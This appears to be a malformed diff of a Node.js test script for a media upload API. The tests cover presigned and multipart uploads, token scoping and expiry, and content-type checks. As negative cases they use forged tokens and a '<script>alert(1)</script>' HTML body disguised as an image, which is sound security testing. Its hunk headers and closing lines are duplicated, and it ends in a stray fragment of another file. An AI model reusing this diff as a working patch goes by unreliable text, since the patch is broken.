+ process.env.MEDIA_MULTIPART_MIN_PART_MB = '0'; // small parts in tests
+ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
-const db = require('../server/db/database');
-const model = require('../server/objects/model');
-const multipart = require('../server/objects/multipart');
-const objectRoutes = require('../server/objects/routes');
-const express = require('express');
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const multipart = require('../server/objects/multipart');
+ const objectRoutes = require('../server/objects/routes');
+ const express = require('express');
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 1024 * 1024 });
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ await db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 1024 * 1024 });
-const app = express();
-app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
-app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);
-app.use(express.json());
-app.use('/api/v2/:app/objects', objectRoutes);
-app.use('/o', objectRoutes.publicRouter);
-const server = http.createServer(app);
-const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');
-const mac = (parts) => crypto.createHmac('sha256', 'test-signing-secret').update(parts.join('\n')).digest('base64url');
+ const app = express();
+ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
+ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);
+ app.use(express.json());
+ app.use('/api/v2/:app/objects', objectRoutes);
+ app.use('/o', objectRoutes.publicRouter);
+ const server = http.createServer(app);
+ const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');
+ const mac = (parts) => crypto.createHmac('sha256', 'test-signing-secret').update(parts.join('\n')).digest('base64url');
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const local = (u) => base + String(u).replace('https://media.test', '');
- const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {
- const h = { ...headers };
- if (bearer) h.authorization = `Bearer ${bearer}`;
- let payload;
- if (raw !== undefined) payload = raw;
- else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
- const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });
- const text = await res.text();
- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
- return { status: res.status, body: json, text, headers: res.headers };
- };
- const O = '/api/v2/live/objects';
- const now = Math.floor(Date.now() / 1000);
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => base + String(u).replace('https://media.test', '');
+ const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {
+ const h = { ...headers };
+ if (bearer) h.authorization = `Bearer ${bearer}`;
+ let payload;
+ if (raw !== undefined) payload = raw;
+ else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
+ const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });
+ const text = await res.text();
+ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
+ return { status: res.status, body: json, text, headers: res.headers };
+ };
+ const O = '/api/v2/live/objects';
+ const now = Math.floor(Date.now() / 1000);
- // ── 1. Presigned single PUT: scoped to tenant, object and size; expiring ──
- const hello = Buffer.from('hello world');
- let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, upload_ttl: 120 } });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const a = r.body;
- assert.ok(/^v2\.\d+\.11\.[\w-]+$/.test(a.upload.token), 'the token names its size');
- assert.ok(Math.abs(Date.parse(a.upload.expires_at) - (Date.now() + 120000)) < 5000, 'upload_ttl sets the expiry');
- assert.deepStrictEqual([a.upload.method, a.upload.content_type, a.upload.max_bytes], ['PUT', 'text/plain', 11]);
- r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length } });
- const b = r.body;
- r = await call('PUT', local(b.upload.url).replace(b.id, a.id), { bearer: null, raw: hello });
- assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid'], "another object's token");
- const [, exp, , sig] = a.upload.token.split('.');
- r = await call('PUT', `${O}/${a.id}/content?token=v2.${exp}.12.${sig}`, { bearer: null, raw: Buffer.from('hello world!') });
- assert.strictEqual(r.status, 401, 'a token cannot be re-scoped to another size');
- r = await call('PUT', local(a.upload.url).replace('/api/v2/live/', '/api/v2/games/'), { bearer: null, raw: hello });
- assert.strictEqual(r.status, 404, 'nor used on another tenant');
- const past = now - 5;
- r = await call('PUT', `${O}/${a.id}/content?token=v2.${past}.11.${mac(['put2', 'live', a.id, 11, past])}`, { bearer: null, raw: hello });
- assert.strictEqual(r.status, 401, 'expired');
- const otherTenant = now + 100;
- r = await call('PUT', `${O}/${a.id}/content?token=v2.${otherTenant}.11.${mac(['put2', 'games', a.id, 11, otherTenant])}`, { bearer: null, raw: hello });
- assert.strictEqual(r.status, 401, 'a token signed for another tenant');
- r = await call('PUT', local(a.upload.url), { bearer: null, raw: hello });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- r = await call('POST', `${O}/${a.id}/complete?token=${encodeURIComponent(a.upload.token)}`, { bearer: null });
- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);
- r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 300 } });
- assert.ok(r.status === 200 && r.body.url.includes('token=v2.'), 'a fresh presigned URL');
- r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 5 } });
- assert.strictEqual(r.status, 400);
- const legacyExp = now + 300;
- r = await call('PUT', `${O}/${b.id}/content?token=${legacyExp}.${crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${b.id}\n${legacyExp}`).digest('base64url')}`, { bearer: null, raw: hello });
- assert.strictEqual(r.status, 200, 'tokens of the earlier form work until they expire');
- console.log('✅ presigned single-PUT URLs: scoped to tenant, object and size, expiring');
+ // ── 1. Presigned single PUT: scoped to tenant, object and size; expiring ──
+ const hello = Buffer.from('hello world');
+ let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, upload_ttl: 120 } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const a = r.body;
+ assert.ok(/^v2\.\d+\.11\.[\w-]+$/.test(a.upload.token), 'the token names its size');
+ assert.ok(Math.abs(Date.parse(a.upload.expires_at) - (Date.now() + 120000)) < 5000, 'upload_ttl sets the expiry');
+ assert.deepStrictEqual([a.upload.method, a.upload.content_type, a.upload.max_bytes], ['PUT', 'text/plain', 11]);
+ r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length } });
+ const b = r.body;
+ r = await call('PUT', local(b.upload.url).replace(b.id, a.id), { bearer: null, raw: hello });
+ assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid'], "another object's token");
+ const [, exp, , sig] = a.upload.token.split('.');
+ r = await call('PUT', `${O}/${a.id}/content?token=v2.${exp}.12.${sig}`, { bearer: null, raw: Buffer.from('hello world!') });
+ assert.strictEqual(r.status, 401, 'a token cannot be re-scoped to another size');
+ r = await call('PUT', local(a.upload.url).replace('/api/v2/live/', '/api/v2/games/'), { bearer: null, raw: hello });
+ assert.strictEqual(r.status, 404, 'nor used on another tenant');
+ const past = now - 5;
+ r = await call('PUT', `${O}/${a.id}/content?token=v2.${past}.11.${mac(['put2', 'live', a.id, 11, past])}`, { bearer: null, raw: hello });
+ assert.strictEqual(r.status, 401, 'expired');
+ const otherTenant = now + 100;
+ r = await call('PUT', `${O}/${a.id}/content?token=v2.${otherTenant}.11.${mac(['put2', 'games', a.id, 11, otherTenant])}`, { bearer: null, raw: hello });
+ assert.strictEqual(r.status, 401, 'a token signed for another tenant');
+ r = await call('PUT', local(a.upload.url), { bearer: null, raw: hello });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ r = await call('POST', `${O}/${a.id}/complete?token=${encodeURIComponent(a.upload.token)}`, { bearer: null });
+ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);
+ r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 300 } });
+ assert.ok(r.status === 200 && r.body.url.includes('token=v2.'), 'a fresh presigned URL');
+ r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 5 } });
+ assert.strictEqual(r.status, 400);
+ const legacyExp = now + 300;
+ r = await call('PUT', `${O}/${b.id}/content?token=${legacyExp}.${crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${b.id}\n${legacyExp}`).digest('base64url')}`, { bearer: null, raw: hello });
+ assert.strictEqual(r.status, 200, 'tokens of the earlier form work until they expire');
+ console.log('✅ presigned single-PUT URLs: scoped to tenant, object and size, expiring');
- // ── 2. Content types ──
- r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'text/html' } });
- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type']);
- r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', mime_type: 'image/png' } });
- assert.strictEqual(r.status, 415, 'a vod is video or audio');
- r = await call('POST', O, { body: { kind: 'avatar', mime_type: 'image/svg+xml' } });
- assert.strictEqual(r.status, 415, 'no SVG where images are served inline');
- r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'image/png' } });
- const fake = r.body.id;
- r = await call('PUT', `${O}/${fake}/content`, { raw: Buffer.from('<html><script>alert(1)</script></html>') });
- assert.strictEqual(r.status, 200);
- r = await call('POST', `${O}/${fake}/complete`);
- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'bytes that are not the declared image');
- assert.strictEqual(model.getObject(fake).lifecycle_status, 'uploading', 'the object stays uploading');
- r = await call('POST', O, { body: { kind: 'screenshot' } });
- r = await call('PUT', `${O}/${r.body.id}/content`, { raw: Buffer.from('<svg/>'), headers: { 'content-type': 'image/svg+xml' } });
- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type'], 'an undeclared type comes from the PUT and is checked too');
- r = await call('POST', O, { body: { kind: 'file', mime_type: 'image/gif' } });
- const gifId = r.body.id;
- await call('PUT', `${O}/${gifId}/content`, { raw: Buffer.from('%PDF-1.4 not a gif') });
- r = await call('POST', `${O}/${gifId}/complete`);
- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'inline-served types are checked for any kind');
- r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/zip' } });
- const zipId = r.body.id;
- await call('PUT', `${O}/${zipId}/content`, { raw: Buffer.from('anything at all') });
- assert.strictEqual((await call('POST', `${O}/${zipId}/complete`)).status, 200, 'attachments are taken as declared');
- console.log('✅ content types: kind rules at init and PUT, byte checks at complete for inline-served types');
+ // ── 2. Content types ──
+ r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'text/html' } });
+ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type']);
+ r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', mime_type: 'image/png' } });
+ assert.strictEqual(r.status, 415, 'a vod is video or audio');
+ r = await call('POST', O, { body: { kind: 'avatar', mime_type: 'image/svg+xml' } });
+ assert.strictEqual(r.status, 415, 'no SVG where images are served inline');
+ r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'image/png' } });
+ const fake = r.body.id;
+ r = await call('PUT', `${O}/${fake}/content`, { raw: Buffer.from('<html><script>alert(1)</script></html>') });
+ assert.strictEqual(r.status, 200);
+ r = await call('POST', `${O}/${fake}/complete`);
+ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'bytes that are not the declared image');
+ assert.strictEqual((await model.getObject(fake)).lifecycle_status, 'uploading', 'the object stays uploading');
+ r = await call('POST', O, { body: { kind: 'screenshot' } });
+ r = await call('PUT', `${O}/${r.body.id}/content`, { raw: Buffer.from('<svg/>'), headers: { 'content-type': 'image/svg+xml' } });
+ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type'], 'an undeclared type comes from the PUT and is checked too');
+ r = await call('POST', O, { body: { kind: 'file', mime_type: 'image/gif' } });
+ const gifId = r.body.id;
+ await call('PUT', `${O}/${gifId}/content`, { raw: Buffer.from('%PDF-1.4 not a gif') });
+ r = await call('POST', `${O}/${gifId}/complete`);
+ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'inline-served types are checked for any kind');
+ r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/zip' } });
+ const zipId = r.body.id;
+ await call('PUT', `${O}/${zipId}/content`, { raw: Buffer.from('anything at all') });
+ assert.strictEqual((await call('POST', `${O}/${zipId}/complete`)).status, 200, 'attachments are taken as declared');
+ console.log('✅ content types: kind rules at init and PUT, byte checks at complete for inline-served types');
- // ── 3. Multipart ──
- const PART = 512 * 1024;
- const big = crypto.randomBytes(PART * 2 + 251424);
- r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length } });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'over the single-part limit without multipart');
- assert.match(r.body.detail, /multipart: true/);
- r = await call('POST', O, { body: { kind: 'file', size_bytes: 5 * 1024 * 1024, multipart: true } });
- assert.strictEqual(r.status, 413, 'MEDIA_MULTIPART_MAX_MB');
- r = await call('POST', '/api/v2/tiny/objects', { bearer: 'tiny-key', body: { kind: 'file', size_bytes: 2 * 1024 * 1024, multipart: true, part_size: PART } });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the tenant quota at init');
- r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length, multipart: true, part_size: PART, filename: 'big.bin', content_hash: sha(big) } });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const mp = r.body;
- const up = mp.upload.multipart;
- assert.deepStrictEqual([mp.upload.method, mp.upload.url, up.parts_expected, up.part_size, up.total_size, up.status], ['multipart', null, 3, PART, big.length, 'active']);
- assert.ok(/^mup_/.test(up.upload_id) && /^mp1\./.test(up.token));
- const partUrl = (n) => local(up.part_url_template.replace('{part_number}', String(n)));
- const slice = (n) => big.subarray((n - 1) * PART, Math.min(big.length, n * PART));
+ // ── 3. Multipart ──
+ const PART = 512 * 1024;
+ const big = crypto.randomBytes(PART * 2 + 251424);
+ r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length } });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'over the single-part limit without multipart');
+ assert.match(r.body.detail, /multipart: true/);
+ r = await call('POST', O, { body: { kind: 'file', size_bytes: 5 * 1024 * 1024, multipart: true } });
+ assert.strictEqual(r.status, 413, 'MEDIA_MULTIPART_MAX_MB');
+ r = await call('POST', '/api/v2/tiny/objects', { bearer: 'tiny-key', body: { kind: 'file', size_bytes: 2 * 1024 * 1024, multipart: true, part_size: PART } });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'the tenant quota at init');
+ r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: big.length, multipart: true, part_size: PART, filename: 'big.bin', content_hash: sha(big) } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const mp = r.body;
+ const up = mp.upload.multipart;
+ assert.deepStrictEqual([mp.upload.method, mp.upload.url, up.parts_expected, up.part_size, up.total_size, up.status], ['multipart', null, 3, PART, big.length, 'active']);
+ assert.ok(/^mup_/.test(up.upload_id) && /^mp1\./.test(up.token));
+ const partUrl = (n) => local(up.part_url_template.replace('{part_number}', String(n)));
+ const slice = (n) => big.subarray((n - 1) * PART, Math.min(big.length, n * PART));
- r = await call('PUT', partUrl(1), { bearer: null, raw: slice(1) });
- assert.deepStrictEqual([r.status, r.body.part_number, r.body.sha256], [200, 1, sha(slice(1))]);
- r = await call('PUT', `${O}/${mp.id}/content`, { raw: big.subarray(0, 10) });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'no single PUT for a multipart-sized object');
- r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2).subarray(0, 1000) });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_size_mismatch'], 'every part has an exact size');
- r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(Buffer.from('other')) } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch']);
- r = await call('PUT', partUrl(4), { bearer: null, raw: slice(3) });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.invalid_part']);
- r = await call('PUT', partUrl(2).replace(/token=[^&]+/, 'token=mp1.99999999999.forged'), { bearer: null, raw: slice(2) });
- assert.strictEqual(r.status, 401);
+ r = await call('PUT', partUrl(1), { bearer: null, raw: slice(1) });
+ assert.deepStrictEqual([r.status, r.body.part_number, r.body.sha256], [200, 1, sha(slice(1))]);
+ r = await call('PUT', `${O}/${mp.id}/content`, { raw: big.subarray(0, 10) });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'no single PUT for a multipart-sized object');
+ r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2).subarray(0, 1000) });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_size_mismatch'], 'every part has an exact size');
+ r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(Buffer.from('other')) } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch']);
+ r = await call('PUT', partUrl(4), { bearer: null, raw: slice(3) });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.invalid_part']);
+ r = await call('PUT', partUrl(2).replace(/token=[^&]+/, 'token=mp1.99999999999.forged'), { bearer: null, raw: slice(2) });
+ assert.strictEqual(r.status, 401);
- // A dropped connection mid-part: nothing of it is kept; the session says what is missing.
- await new Promise((resolve) => {
- const u = new URL(partUrl(2));
- const req = http.request({ host: u.hostname, port: u.port, path: u.pathname + u.search, method: 'PUT', headers: { 'content-length': slice(2).length } });
- req.on('error', () => resolve());
- req.write(slice(2).subarray(0, 200000));
- setTimeout(() => { req.destroy(); setTimeout(resolve, 150); }, 100);
- });
- r = await call('GET', local(up.status_url), { bearer: null });
- assert.deepStrictEqual([r.status, r.body.parts.map((p) => p.part_number), r.body.missing, r.body.received_bytes], [200, [1], [2, 3], PART]);
- assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), ['1'], 'no half part on disk');
- // Resume: send what is missing (part 3 with the app key instead of the session token).
- r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(slice(2)) } });
- assert.strictEqual(r.status, 200);
- r = await call('PUT', `${O}/${mp.id}/multipart/${up.upload_id}/parts/3`, { raw: slice(3) });
- assert.strictEqual(r.status, 200, 'the tenant credential works as well as the session token');
- r = await call('GET', `${O}/${mp.id}/multipart/${up.upload_id}`);
- assert.deepStrictEqual([r.body.missing, r.body.received_bytes], [[], big.length]);
+ // A dropped connection mid-part: nothing of it is kept; the session says what is missing.
+ await new Promise((resolve) => {
+ const u = new URL(partUrl(2));
+ const req = http.request({ host: u.hostname, port: u.port, path: u.pathname + u.search, method: 'PUT', headers: { 'content-length': slice(2).length } });
+ req.on('error', () => resolve());
+ req.write(slice(2).subarray(0, 200000));
+ setTimeout(() => { req.destroy(); setTimeout(resolve, 150); }, 100);
+ });
+ r = await call('GET', local(up.status_url), { bearer: null });
+ assert.deepStrictEqual([r.status, r.body.parts.map((p) => p.part_number), r.body.missing, r.body.received_bytes], [200, [1], [2, 3], PART]);
+ assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), ['1'], 'no half part on disk');
+ // Resume: send what is missing (part 3 with the app key instead of the session token).
+ r = await call('PUT', partUrl(2), { bearer: null, raw: slice(2), headers: { 'x-content-sha256': sha(slice(2)) } });
+ assert.strictEqual(r.status, 200);
+ r = await call('PUT', `${O}/${mp.id}/multipart/${up.upload_id}/parts/3`, { raw: slice(3) });
+ assert.strictEqual(r.status, 200, 'the tenant credential works as well as the session token');
+ r = await call('GET', `${O}/${mp.id}/multipart/${up.upload_id}`);
+ assert.deepStrictEqual([r.body.missing, r.body.received_bytes], [[], big.length]);
- r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [{ part_number: 1, sha256: sha(slice(2)) }] } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch'], "the client's part list must match");
- assert.strictEqual(multipart.getSession(up.upload_id).status, 'active', 'and the session stays open');
- r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [1, 2, 3].map((n) => ({ part_number: n, sha256: sha(slice(n)) })) } });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- assert.deepStrictEqual([r.body.lifecycle_status, r.body.size_bytes, r.body.content_hash], ['ready', big.length, sha(big)]);
- assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), 'parts removed');
- assert.strictEqual(multipart.getSession(up.upload_id).status, 'completed');
- assert.deepStrictEqual(fs.readFileSync(model.objectFilePath(model.getObject(mp.id))), big, 'the assembled object is the original');
- r = await call('GET', `${O}/${mp.id}/download`);
- r = await call('GET', local(r.body.url), { bearer: null });
- assert.deepStrictEqual([r.status, sha(Buffer.from(await (await fetch(local((await call('GET', `${O}/${mp.id}/download`)).body.url))).arrayBuffer()))], [200, sha(big)]);
- r = await call('POST', local(up.complete_url), { bearer: null });
- assert.deepStrictEqual([r.status, r.body.id, r.body.lifecycle_status], [200, mp.id, 'ready'], 'completing again (a lost answer) returns the object');
- r = await call('POST', `${O}/${mp.id}/complete`);
- assert.strictEqual(r.status, 200, 'and so does the single-part complete');
- console.log('✅ multipart: exact parts, sha256 per part, resumable after a dropped connection, assembled and verified');
+ r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [{ part_number: 1, sha256: sha(slice(2)) }] } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.upload.part_hash_mismatch'], "the client's part list must match");
+ assert.strictEqual((await multipart.getSession(up.upload_id)).status, 'active', 'and the session stays open');
+ r = await call('POST', local(up.complete_url), { bearer: null, body: { parts: [1, 2, 3].map((n) => ({ part_number: n, sha256: sha(slice(n)) })) } });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ assert.deepStrictEqual([r.body.lifecycle_status, r.body.size_bytes, r.body.content_hash], ['ready', big.length, sha(big)]);
+ assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', up.upload_id)), 'parts removed');
+ assert.strictEqual((await multipart.getSession(up.upload_id)).status, 'completed');
+ assert.deepStrictEqual(fs.readFileSync(model.objectFilePath(await model.getObject(mp.id))), big, 'the assembled object is the original');
+ r = await call('GET', `${O}/${mp.id}/download`);
+ r = await call('GET', local(r.body.url), { bearer: null });
+ assert.deepStrictEqual([r.status, sha(Buffer.from(await (await fetch(local((await call('GET', `${O}/${mp.id}/download`)).body.url))).arrayBuffer()))], [200, sha(big)]);
+ r = await call('POST', local(up.complete_url), { bearer: null });
+ assert.deepStrictEqual([r.status, r.body.id, r.body.lifecycle_status], [200, mp.id, 'ready'], 'completing again (a lost answer) returns the object');
+ r = await call('POST', `${O}/${mp.id}/complete`);
+ assert.strictEqual(r.status, 200, 'and so does the single-part complete');
+ console.log('✅ multipart: exact parts, sha256 per part, resumable after a dropped connection, assembled and verified');
- // Declare the size later; abort; a session for another object does not open this one; expiry.
- r = await call('POST', O, { body: { kind: 'file' } });
- const later = r.body.id;
- r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'a size is needed');
- r = await call('POST', `${O}/${later}/multipart`, { body: { size_bytes: PART + 10, part_size: PART } });
- assert.strictEqual(r.status, 201);
- const s2 = r.body;
- r = await call('PUT', `${O}/${later}/content`, { raw: Buffer.alloc(PART + 10) });
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.multipart_active']);
- r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')).replace(later, a.id).replace(s2.upload_id, up.upload_id), { bearer: null, raw: Buffer.alloc(PART) });
- assert.strictEqual(r.status, 401, "a session token opens only its own session's object");
- r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });
- assert.strictEqual(r.status, 200);
- r = await call('DELETE', local(s2.abort_url), { bearer: null });
- assert.deepStrictEqual([r.status, r.body.status], [200, 'aborted']);
- assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', s2.upload_id)));
- assert.strictEqual(model.getObject(later).lifecycle_status, 'uploading', 'the object can be sent again');
- r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '2')), { bearer: null, raw: Buffer.alloc(10) });
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.not_active']);
- r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });
- const s3 = r.body;
- await call('PUT', local(s3.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });
- db.run("UPDATE media_uploads SET expires_at = datetime('now', '-1 minute') WHERE id = ?", [s3.upload_id]);
- fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.parts', 'mup_orphan'), { recursive: true });
- const rec = await require('../server/objects/reconcile').reconcile({ appId: 'live' });
- assert.deepStrictEqual(rec.issues.incomplete_multipart.items.map((i) => [i.upload_id, i.parts_received]), [[s3.upload_id, 1]], 'reconciliation reports an open session past its expiry');
- assert.deepStrictEqual(multipart.purgeExpired(), { expired: 1, orphan_dirs: 1 });
- assert.strictEqual(multipart.getSession(s3.upload_id).status, 'expired');
- assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts')), [], 'expired and orphan parts removed');
- console.log('✅ multipart: size declared later, abort, per-session tokens, single PUT refused while open, expiry purge');
+ // Declare the size later; abort; a session for another object does not open this one; expiry.
+ r = await call('POST', O, { body: { kind: 'file' } });
+ const later = r.body.id;
+ r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'a size is needed');
+ r = await call('POST', `${O}/${later}/multipart`, { body: { size_bytes: PART + 10, part_size: PART } });
+ assert.strictEqual(r.status, 201);
+ const s2 = r.body;
+ r = await call('PUT', `${O}/${later}/content`, { raw: Buffer.alloc(PART + 10) });
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.multipart_active']);
+ r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')).replace(later, a.id).replace(s2.upload_id, up.upload_id), { bearer: null, raw: Buffer.alloc(PART) });
+ assert.strictEqual(r.status, 401, "a session token opens only its own session's object");
+ r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });
+ assert.strictEqual(r.status, 200);
+ r = await call('DELETE', local(s2.abort_url), { bearer: null });
+ assert.deepStrictEqual([r.status, r.body.status], [200, 'aborted']);
+ assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.parts', s2.upload_id)));
+ assert.strictEqual((await model.getObject(later)).lifecycle_status, 'uploading', 'the object can be sent again');
+ r = await call('PUT', local(s2.part_url_template.replace('{part_number}', '2')), { bearer: null, raw: Buffer.alloc(10) });
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.upload.not_active']);
+ r = await call('POST', `${O}/${later}/multipart`, { body: { part_size: PART } });
+ const s3 = r.body;
+ await call('PUT', local(s3.part_url_template.replace('{part_number}', '1')), { bearer: null, raw: Buffer.alloc(PART) });
+ await db.run("UPDATE media_uploads SET expires_at = datetime('now', '-1 minute') WHERE id = ?", [s3.upload_id]);
+ fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.parts', 'mup_orphan'), { recursive: true });
+ const rec = await require('../server/objects/reconcile').reconcile({ appId: 'live' });
+ assert.deepStrictEqual(rec.issues.incomplete_multipart.items.map((i) => [i.upload_id, i.parts_received]), [[s3.upload_id, 1]], 'reconciliation reports an open session past its expiry');
+ assert.deepStrictEqual(await multipart.purgeExpired(), { expired: 1, orphan_dirs: 1 });
+ assert.strictEqual((await multipart.getSession(s3.upload_id)).status, 'expired');
+ assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.parts')), [], 'expired and orphan parts removed');
+ console.log('✅ multipart: size declared later, abort, per-session tokens, single PUT refused while open, expiry purge');
- server.close();
- console.log('\nobjects multipart + presigned: all checks passed');
- process.exit(0);
+ server.close();
+ console.log('\nobjects multipart + presigned: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,135 +8,134 @@ const fs = require('fs');
@@ -8,135 +8,134 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
const crypto = require('crypto');
const crypto = require('crypto');
-const { execFileSync } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const env = {
